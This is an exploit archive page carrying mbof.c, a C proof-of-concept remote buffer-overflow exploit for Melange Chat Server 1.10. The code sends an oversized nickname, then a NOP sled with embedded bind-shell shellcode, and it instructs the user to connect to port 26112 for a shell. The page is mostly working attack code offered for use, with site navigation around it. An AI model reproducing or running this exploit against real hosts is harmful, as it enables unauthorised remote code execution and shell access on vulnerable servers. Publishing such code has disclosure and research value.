exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mbof.c

mbof.c
Posted Dec 24, 2002
Authored by Innerphobia

Remote buffer overflow exploit for the melange chat server v1.10. Tested on SuSE 8.0 and Redhat 7.3.

tags | exploit, remote, overflow
systems | linux, redhat, suse
SHA-256 | 2ebf0d0384b1b15ad2931288e662c25760b2f664f21362f3c9bf4f12f2e1a27f

mbof.c

Change Mirror Download
/*
Proof of Concept for Melange Chat Server 1.10
a lame remote bof exploit by innerphobia <up2u_@hotmail.com> 12/24/02

Credits go to:
- iDefense Labs for the advisory
- blink for discovering the bug
- Irian for the shellcode

With careful calculation it is *possible* to control even the EIP,
not just one byte of EIP.
There are to a few things that will happen if we use a wrong ret address:
1. Seg fault / shut down.
2. Keep on going < nothing happens >.

Code tested on Suse 8.0 and RH 7.3
Merry Xmas :)
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

// magic numbers begin here
#define ADDR 0xbfffd490
#define NICKLEN 49
#define BUFFLEN 463
// magic numbers end

// brutally copied from Irian's cy.c
char evil[]=
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
"\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc,char **argv){
int i,j=0,sock,port = 6666;
char *host;
char nick[NICKLEN],buff[BUFFLEN];
struct hostent *htent;
struct sockaddr_in serv_addr;
long jump = ADDR;
u_long *ptr = (u_long *)buff;

if(argc>4||argc<2)
printf("Usage : %s [hostname] [ret address in hex (0x41414141)]
[port]\n",argv[0]),exit(1);

host=argv[1];
if(argc>2) sscanf(argv[2],"0x%lx",&jump);
if(argc>3) port=atoi(argv[3]);

if((htent = gethostbyname(argv[1])) != NULL && (sock =
socket(AF_INET,SOCK_STREAM,0)) != -1){

serv_addr.sin_family = AF_INET;
memcpy((char
*)&serv_addr.sin_addr.s_addr,htent->h_addr_list[0],htent->h_length);
serv_addr.sin_port = htons(port);

if(!connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))){

printf("Connected to %s at %d [0x%lx]\nTrying to send %d chars
NICKNAME\n",host,port,jump,sizeof(nick)-6);

memset(nick,'A',sizeof(nick)),memcpy(nick,"/NICK ",6);

if(send(sock,nick,sizeof(nick),0) == -1)
perror("Sending nickname failed\n"),exit(1);
sleep(1);

for(i=0;i<sizeof(buff);i+=4) *(ptr++)=jump;
for(i=0;i<sizeof(buff)-200-strlen(evil);i++) buff[i]=0x90;
for(j=0;j<strlen(evil);j++) buff[i++]=evil[j];

printf("Trying to send overflow string\n");

if(send(sock,buff,sizeof(buff),0) == -1)
perror("Sending overflow failed :(\n"),exit(1);

sleep(1);
printf("Now try to connect to host : %s port : 26112\n",host);
close(sock);
}
else printf("Can't connect to %s at %d\n",host,port),exit(1);
}
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close